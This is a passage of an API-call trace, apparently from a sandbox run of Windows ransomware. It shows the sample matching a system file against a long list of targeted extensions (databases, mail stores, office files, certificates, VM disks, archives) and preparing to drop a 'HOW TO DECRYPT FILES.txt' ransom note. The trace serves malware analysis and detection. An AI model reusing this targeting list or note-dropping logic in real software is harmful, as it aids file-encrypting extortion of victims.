(pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.ems") returned 0 [0165.310] lstrlenA (lpString="*.ems") returned 5 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.db") returned 0 [0165.310] lstrlenA (lpString="*.db") returned 4 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.dbf") returned 0 [0165.310] lstrlenA (lpString="*.dbf") returned 5 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.myox") returned 0 [0165.310] lstrlenA (lpString="*.myox") returned 6 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.myo") returned 0 [0165.310] lstrlenA (lpString="*.myo") returned 5 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qbw") returned 0 [0165.310] lstrlenA (lpString="*.qbw") returned 5 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qbb") returned 0 [0165.310] lstrlenA (lpString="*.qbb") returned 5 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qbm") returned 0 [0165.310] lstrlenA (lpString="*.qbm") returned 5 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qbo") returned 0 [0165.310] lstrlenA (lpString="*.qbo") returned 5 [0165.310] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qbx") returned 0 [0165.311] lstrlenA (lpString="*.qbx") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qba") returned 0 [0165.311] lstrlenA (lpString="*.qba") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qby") returned 0 [0165.311] lstrlenA (lpString="*.qby") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qbj") returned 0 [0165.311] lstrlenA (lpString="*.qbj") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.ofx") returned 0 [0165.311] lstrlenA (lpString="*.ofx") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.qif") returned 0 [0165.311] lstrlenA (lpString="*.qif") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mye") returned 0 [0165.311] lstrlenA (lpString="*.mye") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mbox") returned 0 [0165.311] lstrlenA (lpString="*.mbox") returned 6 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.eml") returned 0 [0165.311] lstrlenA (lpString="*.eml") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.pst") returned 0 [0165.311] lstrlenA (lpString="*.pst") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.ost") returned 0 [0165.311] lstrlenA (lpString="*.ost") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.idx") returned 0 [0165.311] lstrlenA (lpString="*.idx") returned 5 [0165.311] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.dbx") returned 0 [0165.312] lstrlenA (lpString="*.dbx") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.sql") returned 0 [0165.312] lstrlenA (lpString="*.sql") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mdb") returned 0 [0165.312] lstrlenA (lpString="*.mdb") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.fdb") returned 0 [0165.312] lstrlenA (lpString="*.fdb") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.wab") returned 0 [0165.312] lstrlenA (lpString="*.wab") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.dat") returned 0 [0165.312] lstrlenA (lpString="*.dat") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.txt") returned 0 [0165.312] lstrlenA (lpString="*.txt") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.jpeg") returned 0 [0165.312] lstrlenA (lpString="*.jpeg") returned 6 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.jpg") returned 0 [0165.312] lstrlenA (lpString="*.jpg") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.png") returned 0 [0165.312] lstrlenA (lpString="*.png") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.php") returned 0 [0165.312] lstrlenA (lpString="*.php") returned 5 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.cs") returned 0 [0165.312] lstrlenA (lpString="*.cs") returned 4 [0165.312] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.cpp") returned 0 [0165.312] lstrlenA (lpString="*.cpp") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.rar") returned 0 [0165.313] lstrlenA (lpString="*.rar") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.zip") returned 0 [0165.313] lstrlenA (lpString="*.zip") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.html") returned 0 [0165.313] lstrlenA (lpString="*.html") returned 6 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.htm") returned 0 [0165.313] lstrlenA (lpString="*.htm") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.xlsx") returned 0 [0165.313] lstrlenA (lpString="*.xlsx") returned 6 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.xls") returned 0 [0165.313] lstrlenA (lpString="*.xls") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mp4") returned 0 [0165.313] lstrlenA (lpString="*.mp4") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.ppt") returned 0 [0165.313] lstrlenA (lpString="*.ppt") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.pptx") returned 0 [0165.313] lstrlenA (lpString="*.pptx") returned 6 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.doc") returned 0 [0165.313] lstrlenA (lpString="*.doc") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.dot") returned 0 [0165.313] lstrlenA (lpString="*.dot") returned 5 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.docx") returned 0 [0165.313] lstrlenA (lpString="*.docx") returned 6 [0165.313] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.7z") returned 0 [0165.313] lstrlenA (lpString="*.7z") returned 4 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.tar") returned 0 [0165.314] lstrlenA (lpString="*.tar") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.bz2") returned 0 [0165.314] lstrlenA (lpString="*.bz2") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.gz") returned 0 [0165.314] lstrlenA (lpString="*.gz") returned 4 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mkv") returned 0 [0165.314] lstrlenA (lpString="*.mkv") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.eml") returned 0 [0165.314] lstrlenA (lpString="*.eml") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.msg") returned 0 [0165.314] lstrlenA (lpString="*.msg") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.edb") returned 0 [0165.314] lstrlenA (lpString="*.edb") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.accdb") returned 0 [0165.314] lstrlenA (lpString="*.accdb") returned 7 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.odb") returned 0 [0165.314] lstrlenA (lpString="*.odb") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.java") returned 0 [0165.314] lstrlenA (lpString="*.java") returned 6 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.asm") returned 0 [0165.314] lstrlenA (lpString="*.asm") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.pfx") returned 0 [0165.314] lstrlenA (lpString="*.pfx") returned 5 [0165.314] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.pem") returned 0 [0165.314] lstrlenA (lpString="*.pem") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.p12") returned 0 [0165.315] lstrlenA (lpString="*.p12") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.gpg") returned 0 [0165.315] lstrlenA (lpString="*.gpg") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.vsd") returned 0 [0165.315] lstrlenA (lpString="*.vsd") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.odg") returned 0 [0165.315] lstrlenA (lpString="*.odg") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.raw") returned 0 [0165.315] lstrlenA (lpString="*.raw") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.nef") returned 0 [0165.315] lstrlenA (lpString="*.nef") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.svg") returned 0 [0165.315] lstrlenA (lpString="*.svg") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.psd") returned 0 [0165.315] lstrlenA (lpString="*.psd") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.vmx") returned 0 [0165.315] lstrlenA (lpString="*.vmx") returned 5 [0165.315] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.vmdk") returned 0 [0165.316] lstrlenA (lpString="*.vmdk") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.vdi") returned 0 [0165.316] lstrlenA (lpString="*.vdi") returned 5 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.lay6") returned 0 [0165.316] lstrlenA (lpString="*.lay6") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mpeg") returned 0 [0165.316] lstrlenA (lpString="*.mpeg") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.djvu") returned 0 [0165.316] lstrlenA (lpString="*.djvu") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.tiff") returned 0 [0165.316] lstrlenA (lpString="*.tiff") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.backup") returned 0 [0165.316] lstrlenA (lpString="*.backup") returned 8 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.pdf") returned 0 [0165.316] lstrlenA (lpString="*.pdf") returned 5 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.cert") returned 0 [0165.316] lstrlenA (lpString="*.cert") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.docm") returned 0 [0165.316] lstrlenA (lpString="*.docm") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.xlsm") returned 0 [0165.316] lstrlenA (lpString="*.xlsm") returned 6 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.dwg") returned 0 [0165.316] lstrlenA (lpString="*.dwg") returned 5 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.nd") returned 0 [0165.316] lstrlenA (lpString="*.nd") returned 4 [0165.316] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.tlg") returned 0 [0165.317] lstrlenA (lpString="*.tlg") returned 5 [0165.317] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.lgb") returned 0 [0165.317] lstrlenA (lpString="*.lgb") returned 5 [0165.317] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mov") returned 0 [0165.317] lstrlenA (lpString="*.mov") returned 5 [0165.317] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.xdw") returned 0 [0165.317] lstrlenA (lpString="*.xdw") returned 5 [0165.317] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.ods") returned 0 [0165.317] lstrlenA (lpString="*.ods") returned 5 [0165.317] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.wav") returned 0 [0165.317] lstrlenA (lpString="*.wav") returned 5 [0165.317] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.mp3") returned 0 [0165.317] lstrlenA (lpString="*.mp3") returned 5 [0165.317] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini", pszSpec="*.aiff") returned 0 [0165.318] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e5003b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3e5003b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96168a61, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf2.ini", cAlternateFileName="ASPNET~2.INI")) returned 1 [0165.318] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.318] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_perf2.ini") returned 1 [0165.318] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_perf2.ini") returned 1 [0165.318] lstrcmpiA (lpString1="", lpString2="aspnet_perf2.ini") returned -1 [0165.318] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini") returned="aspnet_perf.ini" [0165.318] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\" [0165.318] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\") returned="" [0165.318] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt" [0165.318] GetFileAttributesA 